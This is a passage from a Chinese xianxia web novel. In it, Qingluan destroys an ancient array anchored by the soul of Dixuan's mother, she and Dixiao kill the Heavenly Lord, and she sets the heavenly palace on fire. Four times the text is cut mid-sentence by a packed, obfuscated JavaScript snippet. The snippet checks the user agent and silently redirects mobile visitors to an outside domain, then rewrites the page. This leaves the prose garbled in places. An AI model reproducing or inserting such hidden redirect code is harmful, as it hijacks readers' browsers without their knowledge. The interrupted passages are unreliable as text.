“你以为逃得掉么?”这是天君第一次在世人面前现出法相,却是庞大而又狰狞,令人骇然的模样,他对着正在奔逃的朝玦道:“行此无谓之举,只会连累此域凡人随你一同陪葬。” 天君的声音落在朝玦耳里无比清晰,但在此间凡人耳中却只剩下一阵嗡鸣。 他们不知道发生了什么,只是困惑地停下步伐抬首望着自天际垂下,伴随着雷鸣之声不断向凡间扩散的黑气。 第一个被黑气缠绕住的凡人在瞬间化为一具枯骨。 这一切发生得太快,他甚至还保持着生前的姿势。 人们瞬间开始奔逃,却是抵不过黑气蔓延的速度。 人类的建筑也挡不住那股神秘的黑气,不过片刻之间凡人们赖以藏身的住处便被黑气腐蚀,躲藏在房屋中的人类同样在黑气的侵袭下化为没有生机的枯骨。 朝玦在空中不可置信地回首去望。 方才还生机勃勃的凡域顷刻变为了人间炼狱。 天君的声音再次在朝玦耳畔响起:“四海八荒有无数凡域,吾即便是舍去一二处也无妨碍,但你要记住,这些凡人都是受你连累而死。” 与天君的声音一同在耳畔响起的还有人们的哀叫哭号。 他们只是一群凡人,在各族修者大能们面前如同婴儿一般毫无自保之力,却在今日因她惹上杀身之祸。 朝玦仍在往凡域坠落,凡间残酷的景象在她眼前不断放大。 她看见母亲将孩子揽在怀里,看见老人无助地在地上爬行。 然后她想起天君来捉她时小华山的景象,想起漫山花树在瞬间枯萎腐烂、山中生灵于刹那失去生机的画面…… 眼前的景象与脑海中的画面相互重叠,她突然感到灵魂传来一阵战栗。 下一秒,几乎是不加思考,她重新化为玉佩的形态,亲手碾碎了其中玉灵,碾碎了自己的生魂。 已有百年修为道行的玉灵在碾碎生魂时释放出来的磅礴之力足以覆盖整座凡域。 玉灵的光芒破碎不堪,却是将每一个凡人护在其间,与那吞噬生机的黑气对抗。 青鸾便在这时赶到。 她耗尽了所有力气,以最快的速度奔来九重天宫,看见的却是朝玦重新化为玉佩,玉灵破碎崩溃的景象。 朝玦变回了她最初在凡间商贩手中见到的模样,一枚精致好看的玉佩,其中却没有蕴含生机。 路之遥日日将朝玦带在身边,以心血温养了她百年,她却在顷刻间失去了所有的生机…… 意识到这一点的时候,青鸾甚至已经顾不上哀伤。 她只觉得愤怒。 怒火自心间蔓延,同时滋养着心火,四肢百骸连同灵魂都在怒火中燃烧,她一瞬间感到喉间腥甜,忍不住呕出一口血来。 下一秒她飞身接住已经化为玉佩形态的朝玦,轻轻地将她揣进怀里,然后拂袖点燃心火径直朝九重天宫而去。 不知是不是她的错觉,在她冲向天宫的同时,九重天的墨色穹顶也压得更低了。 九重天宫也在朝她而来。 显然方才便已成型的上古法阵正是天君为了青鸾而准备的。 在青鸾冲进九重天宫的一瞬间,整座“天宫”如一幅画卷折叠,将她困在了法阵里。 青鸾抬首去看,见这法阵果如千歌所言,阵眼处悬浮着一颗硕大的半腐的头颅,骷髅头空洞的眼眶凝成了黑色的漩涡。 原来那座朝她扑来的“天宫”不过是法阵能量流转时形成的蜃影,此刻她足下的玉砖已经化作粘稠的黑潭,大殿中的雕梁画柱也变为玄铁锁链缠上她的脖颈。 天君的声音自阵外传来:“这上古法阵足以压制你的心火,阵眼怨魂最喜你这般炙热的生魂,你便在这法阵中等着被炼化为一滩血水吧。” 青鸾虽则愤怒,却也还能在这生死关头保持冷静。 不待杀了天君,便折损在这上古法阵中,她如何能够甘心。 缠绕在她脖颈间的锁链虽然在不断收束,但在她的反抗之下,锁链收束的速度变得十分缓慢。 她转首观察了法阵半晌,再次点燃心火,直接将心火之源的力量释放到阵眼中心的那颗半腐头颅之上。 这上古法阵虽然强大,却也并不是逼得她毫无反抗之力,如今拥有了心火之源的她已不可与从前同日而语,心火的力量自然也比天君想象中更为强大。 既然如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15435705|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就干脆与那阵眼硬碰硬,若能直接破了阵眼,这法阵便不足为惧。 便在这时,一缕幽魂自骷髅眼中的黑色漩涡中浮现,她似乎被心火刺激得躁动翻涌,正在不断地扭曲嘶吼着。 青鸾抓准时机,抬手划破掌心,任由鲜血浸透每一簇火苗。 心火暴涨时产生的暴烈光芒似乎能让整座法阵逐渐消融。 那幽魂仍在痛苦地哀嚎,她在心火的燃烧下渐渐变得透明。 便在青鸾以为就此大功告成时,那幽魂重新附着在了骷髅头上,发出一声比一声更加凄厉的哭号。 这被封印在法阵之中成为阵眼的残魂,似乎有无法消解的执念,那执念源源不断地给予她力量,让她在灵魂消融的痛苦中仍然挣扎着与青鸾的心火相抗衡。 痛苦的哀嚎声中,青鸾似乎听见了帝宣的名字。 她蹙了蹙眉,侧耳倾听半晌,蓦地收了心火。 虽然听得并不十分真切,但她确定那残魂是在一声声呼唤着帝宣。 这女子何以一直呼喊帝宣的名字? 难道帝宣就是她宁愿燃烧灵魂也不肯忘却的执念? 一个恐怖的想法在青鸾脑海中升起。 她曾在生阵中回溯过帝宣的记忆,知晓他的生母是在他幼年时突然消失不见。 帝凌从不曾告诉过他的母亲去了哪里,此后帝宣也再没有见到过母亲的身影。 难道…… 青鸾抬首凝视阵眼中心那个骷髅头颅。 难道被封印在阵眼中的残魂竟是帝宣的生母? 她再次燃起心火,只是这次心火已不像方才那般充满攻击力,而是柔和地将阵眼整个包裹住,向阵眼中的幽魂传输着温和的灵力,“您……是谁?” 青鸾想了想,更加明确地问道:“您认识帝宣?您在找他么?” 在心火的疗愈下那幽魂逐渐减轻了痛苦,她似乎是感受到了青鸾的善意,再一次缓缓自阵眼中浮现。 这一次她也不再如方才那般充满攻击性。 她漂浮在空中,似乎听不见青鸾的问话,一声接着一声,还是反反复复唤着帝宣的名字。 青鸾犹豫了一下,以心火为连接,用自身神魂滋养她的残魄。 这幽魂在阵眼中被封印得太久,唯靠一缕执念保持着神智,若不以生魂滋养她,她是无法清醒地同青鸾对话的。 如此过去一柱香的时间,那幽魂在青鸾心火和神魂的滋养下慢慢睁开双眼,短暂地恢复了神智,目光清明地与青鸾对视。 青鸾连忙开口问她:“您是帝宣何人?” 她将目光从青鸾身上移开,茫然地打量了一圈周遭的环境,最后把目光定格在了自己那半腐的头颅之上。 “帝宣吾儿……我已经很久没有见过他了。”她的声音冰冷嘶哑,一听便不是阳世之人:“原来我已经死去这样久了。” 青鸾在听到第一句话时心便沉入了谷底。 她将手紧紧攥起,五指陷入掌心。 原来如此。 果然如此。 176. 万国传 被封印在法阵中成为阵眼的幽魂,当真是帝宣的生母。 她长久地凝视着作为阵眼悬浮在法阵最中央的头颅,过了许久再次将目光落到青鸾身上。 她问青鸾:“你是谁?” 青鸾回道:“我是帝宣的好友。” 说完这句她紧接着道:“帝宣于我有恩,既然您是他的生母,我便不会再对您出手。” “你是宣儿的好友?”对方有些恍惚地道:“我离开宣儿的时候他还很小,你知不知道他后来如何了?后来是谁在照顾他?” “您放心,他后来过继给了帝台神夫妇,他们将帝宣视如己出,一直都待他很好。”青鸾语声低沉,她刻意隐瞒了帝宣在青丘设下生阵,自己则作为阵眼神魂消散的结局。 在火海中近趋透明若隐若现的幽魂听闻此言似是叹了口气,她沉默了许久,没有继续追问帝宣后来如何,而是转头说起了自己的身世。 “早在万年前世上便已无魔,但万年前的人魔混血一直延续到了今天。” “自从世上无魔之后,那些混血儿中魔之一脉的血统已经越来越稀薄,但无论如何,魔族血脉并没有完全消逝于光阴长河。” 青鸾听得心中一惊:“所以您是……” 对方直截了当地道:“我的身体里流淌着魔族血脉,这便是天君将我捉上九重天宫的原因。” “他想让我成为炼化魔气的法器,但那时魔族始祖之息尚未现世,他不知该从何处下手。” “彼时帝凌与他沆瀣一气,也知天君欲以魔气延续己身寿元的打算,便主动提出可将我关押在他的府邸,帮天君看守住我,直到天君寻到炼化魔气的具体方法为止。” “我被关在帝凌府中几百年,期间他屡屡侵犯于我,后来我有了他的孩子,那个孩子就是宣儿。” 女子的声音越来越冷,青鸾的心也越来越沉。 “起先帝凌还欲隐瞒此事,将宣儿扔在囚禁着我的别院中自生自灭,他没想到宣儿竟然活了下来,这件事还被捅上了九重天宫。” “天君知晓此事后极其震怒,他承认了宣儿天君之孙的身份,却让我与孩子分离,将我带离帝凌府邸,重新关押在了九重天宫。” “直到他从始祖之息处获悉了提炼魔气的方法,以我的头颅作为法器,将我炼为这上古法阵的阵眼。” 青鸾联想起她在青丘以及芙蓉浦的见闻,喃喃地道:“他成功了。” “是的。”帝宣母亲残留于法阵之中的魂魄气息越来越弱:“我的时间不多了……” 她对青鸾道:“待我彻底魂飞魄散之后,阵眼就会崩溃,从此天君再也不能利用这个法阵炼化魔气。” “但是此前他成功炼化出的魔气都被封印在了昆仑山脉的巨型祭坛之中。” “昆仑山脉。”青鸾重复道:“巨型祭坛……” 眼前那缕幽魂的身影越来越淡:“据我所知,天君与西王母联手在昆仑之境设下了一个可以滋养魔气的巨型祭坛,每过一段时间昆仑山便会以天君的名义为四海八荒的神君设宴。” “其目的便是利用祭坛汲取这些神君的神力,用以滋养魔气。” “之所以选择将祭坛的位置设在昆仑之境,除却西王母愿意与天君合作外,还因为能镇压那些魔气的唯有昆仑圣物万古冰莲。” “若不是凭借万古冰莲的力量镇压魔气,那些魔气早已暴动,毁灭祭坛为害人间。” “天君想要利用它们延续寿命,此事断不能让天下人知晓,所以他才选择了昆仑。” “然而天君为了活得久一点做了这样多的恶事,最后还是躲不过天道轮回,如今他寿元将尽,实力大不如前,他与西王母都控制不了那些魔气,万古冰莲对魔气的镇压只是权宜之计,过不多久魔气定会再次现世。” “等到它们冲破祭坛来到人间,一切都来不及了。” 听到这里青鸾终于明白:“所以您是想让我去昆仑毁了祭坛,灭了魔气?” “是的,天君炼化出的是最为低等未启灵智的魔气,它们只会凭借本能吞噬生机。若是放任它们继续在祭坛中得到滋养,有朝一日它们定会毁了整个四海八荒。” “我能感应到你的力量,你非常强大,你可以阻止这一切的发生。” 嘱咐完这件最要紧的事情,她的身形终于彻底消散。 魂魄消弭之际,青鸾听见她道:“母子连心,在我恢复清醒的时候便已知晓宣儿已经不在人世。” “但你告诉我后来他过继给了帝台神夫妇,并且他们将他视如己出,听到这个消息时我心中执念已了。” “人生一世,无论是何身份,终点都是死亡。我只要知道他生前有过快乐的时光,并非一直活在不堪身世的阴影之下,这便够了。” 青鸾曾在青丘生阵中目睹过帝宣神魂的消散,如今在这上古之阵中,她再次亲眼见到了帝宣母亲亡魂的消解。 她的心还在往下沉。 底下是无尽的深渊,没有东西能够托举住她。 随着帝宣生母魂魄的消解,以她的怨魂魄作为阵眼的法阵也在逐渐消融,它的力量瞬间变得衰弱,缠绕在青鸾脖颈间的锁链也开始自行松动。 阵外的天君自然感知到了法阵的变化,他直起身子死死盯住阵眼,片刻后转首望向站在一旁的帝骁:“在等什么,还不动手?” 帝骁垂眸注视着那座困住青鸾的法阵,眼中晦暗不明,看不出来他在想些什么。 天君话音落地,他拂袖召出归墟,提剑进入了阵中。 阵内是一个红与黑交织的世界。 黑色的魔气在心火的绞杀下逐渐溃散,青鸾距离阵眼不远,四肢与脖颈都缠绕着粗大的铁链。 在见到帝骁时她原本从容的目光瞬间变得紧张。 周遭心火静止片刻后纷纷朝青鸾涌去。 全然是一副防御的姿态。 帝骁没有开口说话,他沉默地注视了青鸾半晌,然后抬手将归墟在空中一划,下一秒束缚住青鸾的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15441891|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些锁链便应声而落。 青鸾再次抬眼望他,这次她的目光里多了一些疑惑。 其实她多少能够猜到帝骁面对她时是何种心情,想来他也远不似他所表现出来的那般淡漠。他可能会待她有所不同,譬如龙渊之狱那一战他就并未使出全力。 也许在面对她时他会手软一些吧。 但绝不会是在现在这种时候。 此时已不仅仅是他们二人之间的对峙,而是她与天君之间的仇恨,这深仇大恨已经到了不死不休的程度。 她很清楚在她与天君之间,在他们虚无缥缈的感情与帝骁筹谋已久的权力之间,他是绝对不会选择她的。 帝骁做任何事情都会权衡利弊,也会计较得失,得不偿失的事情他不会做。 此刻天君就在阵外观察着阵内发生的一切,也许这就是天君对帝骁的最后一道考验,只要杀了她,天君之位便是他的了。 他怎么可能忤逆天君,助她离开此阵? 青鸾眼中的疑惑之意越来越重,她仍旧没有放下对帝骁的戒备。 帝骁却也没有试图解释什么,他再次斩出归墟,极寒灵力顺着剑刃舞出,灌注进即将崩塌的阵纹缝隙。 从帝骁手中之剑迸发出的灵力实在太强,便连围绕在青鸾周遭的心火都受到了影响,瞬间由赤红转为青白。 帝骁虽然什么也没有说,但他确实是在助她离开此阵。 青鸾与他对视片刻,沉默地转过身去,徒手扯断禁锢着骷髅头颅的玄铁锁链,然后抬手按上阵眼。 他们虽然都不发一言,却配合得十分默契,在青鸾按上阵眼的下一刻,帝骁抬臂把剑一横,剑锋凌厉将整个骷髅斩为齑粉。 与此同时青鸾掌心猛烈燃烧的心火顺着彻底破碎的阵眼直烧到九重天外,整座法阵瞬间炸开。 上古法阵的碎片余晖映照出无数个燃烧的星空,终于驱散了九重天宫终年不化的冷雾。 青鸾抖了抖手腕,踏着尚未熄灭的阵纹一步步走向天君。 她身后拖曳的火光久久不散,如一把燃烧着的赤色长刀劈开了九重天上万古长夜。 走向天君时她的神色始终是平静的,愤怒安静地燃烧着,源源不断地滋养着心火。 天君望一眼青鸾,又望一眼持剑立于她身后的帝骁,发出一声冷笑。 “这就是你的选择?”天君这话很明显是对帝骁说的,但他阴鸷的目光始终锁在青鸾身上:“你以为你的力量足以反抗吾?还是你以为除了你之外天君之位再无别的人选?” 说话间他掌心现出雷光,紫电劈开云霄,凝成巨蟒俯身冲向青鸾。 灼热的气浪却先一步蒸发了那条巨蟒,青鸾一脚踏碎玉阶,金红色的火焰随着她掌间的动作凝出一柄长枪。 枪影掠过之处,道道玉阶开始一寸寸断裂,整座九重天宫都在心火掀起的罡风中震颤。 天君霍然起身,挥袖召来天河弱水:“妖女!当真以为吾只有依靠上古阵法才能灭了你?” 177. 万国传 九重天宫的永夜被心火撕裂成为碎片,天君立于崩塌的玉阶尽头,衣袍翻涌间天河弱水从四面八方涌来,将周遭心火尽数浇灭。 火海在弱水的冲撞下逐渐熄灭,那水似有灵性,汲取了心火的力量后,汇集为巨大的水瀑,袭卷着天君的雷霆之力朝青鸾而去。 青鸾往后退了两步,正欲重新燃起心火格挡弱水,却见四周剑气涌动,归墟剑锋扫过之处,漫天弱水瞬间凝固,霜花在弱水凝成的冰中绽放,发出碎裂的声音。 帝骁踩着冰层行至青鸾身侧,掌中霜寒剑气与她周遭的心火光芒交织成红蓝色的漩涡。 天君此时已是怒发冲冠,他没有想到在自己寿元将尽快要陨落的最后时刻,会被最为器重的孙儿背叛。 而他背叛他的原因竟然只是为了一个女人。 “她算什么东西?”天君的声音里充满了愤怒:“值得你背叛吾,放弃唾手可得的天君之位?” 帝骁没有回话,他只是沉默地站在青鸾身侧,第一次以对抗的姿态站在了天君的面前。 一片寂静中,忽然听见青鸾发出一声冷笑。 她抬首直视天君,语声冰冷,语气里满是嘲讽:“你活了那么久,却是越活越糊涂,都这个时候了,还在做顺你者昌逆你者亡的美梦?” “谁说成为下任天君的方法唯有顺从于你?”她眼中杀机尽现:“杀了你同样可以顺理成章坐上天君之位。” 天君双手结印,广袖震碎冰层:“你们胆敢弑君!” 在天君动手的瞬间,帝骁单膝跪地,将手中长剑插入碎裂的冰层,与此同时青鸾旋身而起,云海再次沸腾着卷起万丈火浪,赤焰裹着霜气炸开万道霞光,将整座大殿照得亮如白昼。 残破的宫阙在冰火交织中无声地坍塌,天君的身形被刺眼的白光遮蔽,三息之后重新出现,紫电携雷霆之威撕裂白光,黑暗重新在天君掌间降临。 这已不是单纯的斗法,而是灵魂本源之力的比拼,只要一方显露败相,另一方便会将对方的三魂七魄尽数碾碎。 帝骁持剑起身,剑尖挑起冰河倒悬,霜刃所过之处灵力暴涨,极寒之力凝为冰龙,昂首迎着雷霆撞向天君命门。 青鸾则趁势跃上冰龙身躯,随它一起冲向天君,心火燃烧不熄,与周遭雷霆相撞,瞬间爆发出毁天灭地的威能。 这是两人第一次并肩作战,却是无比默契,连身上迸发出的杀意都如此相似。 天君终于无法继续硬抗两人的攻势,后退一步呕出一口血来,他显然已被逼至绝境,破釜沉舟捏碎掌心雷印,爆裂的灵流将冰龙巨首生生斩断,冰龙身躯也随之消散。 青鸾脚下一空,身子一歪自万丈高空坠落,她恰好身陷灵流漩涡的中心,一时之间难以稳住身形。 帝骁手腕一翻,以剑撑地滑出数丈,碎裂的冰晶划破虚空,在光影明灭间徐徐上升,稳稳接住青鸾。 趁他二人防守之际,天君终于找到了反攻的机会,他屈指轻叩虚空,破碎的虚空中竟垂下万千银丝,且每一根都缠绕着扭曲的符文,所经之处一切事物都被割裂成道道残影。 青鸾旋身避开银丝,帝骁剑锋横扫,霜气冲天而起护住他与空中的青鸾。 青鸾垂眸注视着天君,知他已是黔驴技穷,此刻所使的杀招看似厉害,其实已经耗尽了他的本命真元。 她将全部的心火之力凝于指尖,火焰再一次散发出炽白的光辉,随后炸裂开来,化为千万柄剔透火刃,斩断了所有银丝的同时封住了八方退路。 天君已经退无可退。 下一瞬归墟剑从她身侧穿过,直直钉入天君胸膛。 帝骁自青鸾身后奔来,在归墟剑洞穿天君身体的下一秒摄住他自体内跃出的精魂,一掌将那精魂重新打回了天君重伤的身躯。 这一副残破的肉身已然要不得了,然而肉身虽毁精魂不灭,天君仍有逃脱之机。 帝骁没有丝毫犹豫,抬手召回归墟,极寒之力凝于剑身,这一剑足以斩灭精魂。 在归墟剑落的瞬间,青鸾突然以心火抵挡,减缓了帝骁的攻势:“且慢!” 帝骁停下手中的动作,回首望她。 没有人比他更了解天君的秉性,今日他们已然与天君动手,若不趁此时将他的灵魂彻底湮灭,待他缓过神来,等待着他们的必定是天君疯狂的报复。 所以他方才出手狠辣不留余地,归墟剑下尽是杀招。 却不知青鸾在此时拦住他有何用意。 青鸾缓步上前,俯身注视着被归墟剑气钉住动弹不得的天君。 她面色平静,仿佛方才交战时滔天的怒意只是天君的错觉。 “帝媱曾从你这里取走一份末法时代也可修炼的秘籍,之后你下了一个咒,除天族之外修炼秘籍者必遭诅咒,轻则修为尽废,重则魂飞魄散。”她在天君面前蹲下,语气甚至称得上柔和:“有这回事情,对吗?” 天君倒是很识时务,他的确非常惜命,听青鸾如此问,忙不迭地承认了。 青鸾嗯了一声,轻轻点了点头:“那好,你现在将此咒解除,我可以饶你一命。” “当真?”天君狐疑地注视着她。 他杀了朝玦,与青鸾已经势如水火,此刻他败在他们手下,她怎么可能不杀了他? 他实在不大相信她会因此放他一马。 况且…… 他转首望向冷脸站在一旁的帝骁。 帝骁熟知他的秉性,他也同样了解这个各方面都与自己最为相似的孙儿。 就算青鸾能放过他,帝骁也不可能留他性命。 为了永绝后患,他一定会杀了他。 青鸾顺着他的目光望向帝骁,与帝骁对视一眼后,她抬手抚上他的手腕,把他持剑的手往下压了一压:“你放心,他会听我的,我不让你死,他就不会杀你。” 青鸾此言令天君面色巨变,他不可置信地注视着帝骁,见帝骁只是安静地站在原地,并没有反驳青鸾的话,他的神情不由变得更加难看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447631|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如何,这个交易你做还是不做?”青鸾有些不耐烦地催促道:“给天下人一个在末法时代修炼的机会,换你一条性命,我只给你三息的时间考虑。” 事实上用不着三息,青鸾话音还未落地,天君便立马答应下来。 他闭目掐诀念诵咒律,下一瞬白光在指尖闪过,他睁眼对青鸾道:“诅咒已经解除,末法时代修炼的方法已不再是秘密了。” 青鸾扬眉哦了一声:“如何证明你没有骗我?” “你可以亲自去取秘籍查验,看一看上面是否还有诅咒。”天君连忙道:“或者直接去寻一个人,让他试一试修炼秘籍是否会被反噬。” “太麻烦了。”青鸾抬手点在他的眉间:“打开识海,你到底有没有撒谎,我用精神游丝一探便知。” 此刻天君的生死系于青鸾一人之手,他没有提出异议,直接向青鸾敞开识海,任由她的精神游丝在自己的识海中搜寻查验。 半炷香的时间过去,青鸾确认天君不曾撒谎后,收回精神游丝,站起身来居高临下的俯视着他。 天君心里涌起一股不好的预感。 青鸾的神色一如既往平静,但眸底却燃烧着熊熊怒火,恨意再次从她眼中浮现,这回她丝毫不加掩饰,任由滔天的愤怒吞噬着自己所有的情绪。 做完这最后一件事情,现在的她什么也不想考虑,她只想让他去死。 “你的确没有欺骗我。”她缓缓松开抚在帝骁腕间的手:“但我是骗你的。” “解除了诅咒我也不会放过你,你可以去死了。” 她后退一步将位置让出,帝骁直接挥剑斩落,归墟神力与极寒之力融合在一起迸发出骇人的威力,瞬间将天君魂魄击碎。 归墟剑斩灭天君神魂的一瞬间,帝骁忽然感到心中一轻,他的心间好似也有数道枷锁被自己亲手斩断。 他长长地松了口气,望着天君消逝的方向,终于开口说了从方才到现在的第一句话:“他毁了我,而他以为如此才能塑造我。” 青鸾在一旁冷声道:“他从来不曾塑造过你,他从来都只想毁了你。” 帝骁一怔,他转首望向青鸾,第无数次觉得眼前之人无比陌生。 似乎每一次见到她,她都比上一次更加强大,行事也比从前更加决绝,随之一同变化的还有她身上的气质。 此刻的她周身散发着冷冽的气息,面色称得上冷峻,目光里却翻涌着愤怒,像是一团在深海中安静燃烧的火焰。 除此之外他还在她身上感受到一股毁灭欲。 铺天盖地的绝望与移山填海的力量同时存在于她的身上,她的语言清醒克制,眼神里却透露出无谓疯狂。 好像什么都无所谓了。 她只想发泄自己的愤怒。 帝骁沉默地注视着她,目光里情绪复杂。 她为何会这样? 无论是情绪还是力量都像是极力克制着却又时刻处于失控的边缘。 是因为路之遥的陨落么。 178. 万国传 思及此帝骁的眸光变得黯淡,他收了归墟剑,转首将目光移开,扫视了一圈残破不堪漂浮在虚空中的殿宇碎片:“其实方才我便知道,你是不会放过他的,即使我不动手,你也一定会杀了他。” “他该死,但该死的不仅仅是他。他想将你变成他的模样,那么又是谁把他变成了如今的模样。”自从恢复记忆之后,青鸾难得有如此心平气和同帝骁说话的时候,她轻轻地吸了一口气,淡淡地道:“这一整座九重天宫,你以为无辜的人有多少?” 帝骁没有回答她的问题。 他沉默地将目光落到更远处,望见远处的殿宇在夜幕中散发着淡蓝色的光辉,那光辉在笼罩着万古长夜的冷雾中显得如此缥缈,分明看得真切,却又朦胧犹如蜃影。 突然间一道火光亮起,撕破了眼前迷雾,照亮了半座天宫。 心火自青鸾脚下蔓延,从这座残破的大殿开始,一直朝更远处的天宫烧去。 她点燃了心火焚烧着整个天穹,火光在她的眸中摇曳,将所有的建筑连同她眼中枯败的绝望一同烧毁。 她注视着眼前的漫天大火,聆听着火海中传来的隐隐约约的奔逃声,忽然扬唇冷笑:“方才我们在此处与天君战斗,那样大的动静,为何无人前来?” 帝骁立于青鸾身侧,与她一同注视着燃烧到天际的火焰,却是不为所动,自始至终都没有挪动过一步。 他任由这场大火焚烧着九重天宫,点燃了整片夜幕,将黑沉沉的穹顶一并撕落。 “正是因为知道这里发生了什么。”火光同样在他眸中燃烧,他语声平静:“所以他们不敢来。” 青鸾不再言语,嘴角笑意越发冰冷。 火焰似乎要将整座九重天宫连根拔起,青鸾眯了眯眼,恍惚间觉得眼前的画面与记忆里陌离焚烧东衡学院的画面相重叠。 一样的焚世心火,一样的断壁残垣,一样四散奔逃的所谓无辜之人…… 这一场屠戮让她心中陡然升起一种快感,她知道这样的快感是病态的,可她放任自己清醒地沉沦其中。 “你是新一任天君,现在你可以去熄灭心火,拯救你的族人了。”青鸾转身离开:“还有一件事要告诉你,路之遥将始祖之息封印在了青丘地底,万年之后封印会自动解除,届时你知道该怎么办。” 帝骁蓦然转身,一把攥住她的手腕:“你要去哪里。” 青鸾顿住步子,仰起头深深吸了口气:“我要回青丘。” “回去解决死气么?”帝骁唤她的名字:“鸾儿,你太累了,现在的你根本没有办法对付死气。不要把自己逼得这么紧,好吗?” “放开。”青鸾甩开帝骁的手,抬步继续向前走。 她知道着急也无济于事,也清楚经过连日的奔波和方才的战斗,她的身体早已无法负荷。 此刻的她与这座摇摇欲坠的天宫没有什么分别。 心火也在她的五脏六腑中燃烧,焚烧着她的理智也焚烧着她的痛苦,可那痛苦是烧不尽的,除非她也被燃为灰烬,除非那焚世的火也将她挫骨扬灰。 因此她不能停下步伐,她必须继续向前走,只不过这一次逼着她一刻不停向前走的不再是当初的希望罢了。 一旦放慢脚步,她就会不可遏制地回忆起路之遥在她眼前消逝的画面。 从此星光变得刺眼,漫天星辰也再不能为她的内心带来平静。 越想思绪越乱,她加快了脚下的步伐。 突然一道力量自身后袭来,而她心烦意乱毫无防备,很轻易地便被那道力量定住了身形。 一阵困倦涌上心头,她向后倒去,落入一个温热的怀抱。 耳畔传来帝骁的呼吸声:“你太累了,休息会儿吧。” 她终于支撑不住,缓缓闭上了眼。 闭上眼的一瞬间有无数声音闯入她的脑海,她像是陷入了梦魇,分明每一道声音都无比清晰,可她无论怎样都听不清楚。 她不知道是谁在说话,也不知道那一道高过一道的声音到底在呼喊些什么。 她想要睁开眼,但怎么也无法醒来。 便在她拼命地于梦魇中挣扎之际,一道光芒在识海中亮起,这光芒强大而又温和,替她驱散了黑暗,也驱散了那些挥之不去的呓语。 她的世界得以重回清净。 顺着那道光芒望去,她看见了封印着路之遥残魄的太虚锢灵鉴。 “是你吗……”她抬手想要触碰它,却发现自己还在梦中。 识海中的光芒是如此真切,但他的魂魄距离她那样遥远。 她触碰不到他。 星辰般的光芒覆盖了整个梦境时,她骤然从虚空中坠落,坠落的过程中那令人不安的梦境开始崩塌,她终于从梦中醒来。 睁开双眼,她发现自己回到了熟悉的寝殿。 从前生活在青要山时帝骁为她准备的寝殿。 重新回到这里,她只觉得恍若隔世。 一切都跟以前不一样了。 掌心传来一阵温热,她低头去看,发现太虚锢灵鉴不知何时被人取出,放在了她的手中。 “你醒了?”一道声音在屋中响起:“你睡得很不安稳,我想也许帝师会让你安心一点,所以取出了封印着他魂魄的太虚锢灵鉴。” 青鸾转首望去,发现说话的人竟是帝媱:“你怎么会在这里?” 帝媱起身行至榻前,轻轻握住青鸾的手:“天君陨落,这件事已经传遍了四海八荒,我是因为他的追杀才一直躲在合虚,如今帝骁即将继位,成为下一任天君,我便也不必继续东躲西藏。” “除此之外,帝师陨落一事虽然知者甚少,但各路神君还是有所感知,这件事情是瞒不住的。” “我知晓帝师陨落之后便立即出来寻你,见你不在大荒,也不在天宫,便猜你是回到了青要宫中。” 青鸾微垂眼帘:“原来如此……多谢你来看我。” “所幸太虚锢灵鉴留住了帝师魂魄,他生前修为高深,即便如今只剩一缕残魄,想必将来也有恢复生机的可能。”帝媱咬了咬唇:“你莫要太伤心了。” 她这番话不知有没有宽慰到青鸾,但见青鸾微微侧过头去,再一次疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452146|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惫至极地闭上了眼睛,握住太虚锢灵鉴的双手因为太过用力而指节泛白。 她再一次陷入了沉睡。 不过这一次她不再困于梦魇,纷至沓来的梦境甚至算得上平静。 她梦见了空桑山上那一场不止不休的大雪,梦见雪色覆盖了整片天地,尔后一阵微风吹过,晶莹的雪簌簌而落,露出青色的大地。 她还梦见了小华山上满山的桃花,梦见花开了又谢,狂花乱舞间历史长河再次如画卷般在她眼前展开,她看见无数生灵在这幅画卷中生生死死,无尽沉浮。 最后她梦见了东海之上那座缥缈的仙宫,梦见月光透过窗棂,陌浅银色的发垂在破碎的鸟笼之间,她看见千歌不顾一切朝他奔去,夜色中她看清了正在她体内燃烧的心火。 